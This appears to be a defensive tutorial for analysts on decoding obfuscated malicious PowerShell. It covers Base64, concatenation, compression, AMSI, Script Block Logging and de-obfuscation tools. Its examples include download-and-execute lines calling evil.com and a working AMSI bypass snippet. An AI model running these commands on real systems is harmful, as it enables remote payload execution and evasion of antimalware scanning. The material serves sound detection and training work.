Why PowerShell is the Most Abused LOLBin
PowerShell is the most abused LOLBin in modern intrusions for three reasons:
- Present on every Windows system since Windows 7
- Full .NET access: can load assemblies, call Win32 APIs, and manipulate memory
- Designed for remote execution: built-in download and execution capabilities
Attackers encode commands to evade command-line based detection. The analyst must de-layer these transformations to recover the cleartext payload.
Common Obfuscation Techniques
1. Base64 Encoded Command (-EncodedCommand)
powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden
-EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQA...
PowerShell''s -EncodedCommand accepts UTF-16LE Base64 encoded input: not standard UTF-8 Base64.
Decode on Linux:
echo "SQBFAFgA..." | base64 -d | iconv -f UTF-16LE -t UTF-8
Decode in PowerShell:
[System.Text.Encoding]::Unicode.GetString(
[Convert]::FromBase64String("SQBFAFgA..."))
2. String Concatenation
$cmd = "Inv" + "oke" + "-Web" + "Reques" + "t"
& $cmd "http://evil.com/stager.ps1"
Splits known detection keywords across string fragments. Bypass: concatenate all fragments manually or run through PSDecode.
3. Replace Chains
$u = ("hXXps://evil.com/pay" -replace "XX","tt") -replace "pay","load.ps1"
IEX (New-Object Net.WebClient).DownloadString($u)
Uses -replace operator to assemble URLs. Trace each replacement to reconstruct the final string.
4. Compression (DeflateStream / GZipStream)
$data = [Convert]::FromBase64String("H4sIAAAAAAAA...")
$ms = New-Object IO.MemoryStream(,$data)
$gz = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress)
$sr = New-Object IO.StreamReader($gz)
IEX $sr.ReadToEnd()
The payload is Gzip compressed then Base64 encoded. CyberChef recipe: From Base64 → Gunzip → output is the script.
5. Character Code Arrays
$cmd = [char]73 + [char]69 + [char]88 # "IEX"
$cmd ([char]78 + [char]101 + ...) # builds full payload character by character
Decode by evaluating each [char] expression. Python one-liner:
print(''.join([chr(n) for n in [73,69,88,40,...]]))
6. Nested IEX
IEX(IEX(IEX([Convert]::FromBase64String("..."))))
Each IEX layer decodes and executes the next. Apply decode operations one at a time from the innermost outward.
AMSI: Anti-Malware Scan Interface
AMSI intercepts PowerShell script execution at runtime, scanning the decoded script content before it is executed by the interpreter. This means even obfuscated scripts are scanned after decoding.
Obfuscated script → PowerShell decodes → AMSI scans cleartext → executes if clean
Malware bypasses AMSI by patching the AMSI DLL in memory:
# Common AMSI bypass (simplified — do not execute outside lab)
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)
This sets an internal flag causing AMSI to report all subsequent scans as clean.
Detection: Windows Event Log: Event ID 4104 (Script Block Logging) records decoded script content even when AMSI is bypassed, because logging occurs at a different hook point.
Script Block Logging
Script Block Logging records the fully decoded PowerShell content to the Windows Event Log before execution.
Event Log location:
Applications and Services Logs →
Microsoft-Windows-PowerShell/Operational →
Event ID 4104
Enable via Group Policy:
Computer Configuration → Administrative Templates →
Windows Components → Windows PowerShell →
Turn on PowerShell Script Block Logging → Enabled
Even when -EncodedCommand is used, Event ID 4104 contains the decoded cleartext: the analyst can read exactly what the script does without de-obfuscating manually.
De-obfuscation Tools
| Tool | Type | Capability |
|---|---|---|
| PSDecode | Python | Iterative decode: handles Base64, compression, concatenation |
| PowerDecode | PowerShell | Emulates script execution; captures decoded layers |
| Revoke-Obfuscation | PowerShell | Detects obfuscation technique and scoring |
| CyberChef | Browser | Manual decode chains for Base64, Gzip, hex, char codes |
| Script Block Logging | Windows | Event ID 4104: automatic cleartext capture during execution |
De-obfuscation Workflow
1. Identify the outermost encoding:
-enc flag → UTF-16LE Base64
IEX(atob(...)) → standard Base64
[char] arrays → character code substitution
GZipStream → Base64 + compression
2. Decode the outermost layer
3. Check if output is still obfuscated:
YES → repeat from step 1 on the decoded output
NO → extract IOCs from cleartext
4. IOCs to extract:
- Download URLs (C2 endpoints)
- Shellcode or assembly bytes
- File drop paths
- Additional encoded stages
Constrained Language Mode (CLM)
Windows Defender Application Control (WDAC) or AppLocker can enforce PowerShell Constrained Language Mode, which restricts:
.NETtype accessAdd-Type(prevents loading custom assemblies)- COM object creation
Malware attempting to bypass CLM uses PSBypassCLM tools or drops a full PowerShell binary. Detection: PowerShell operational log Event ID 4103 records language mode transitions.

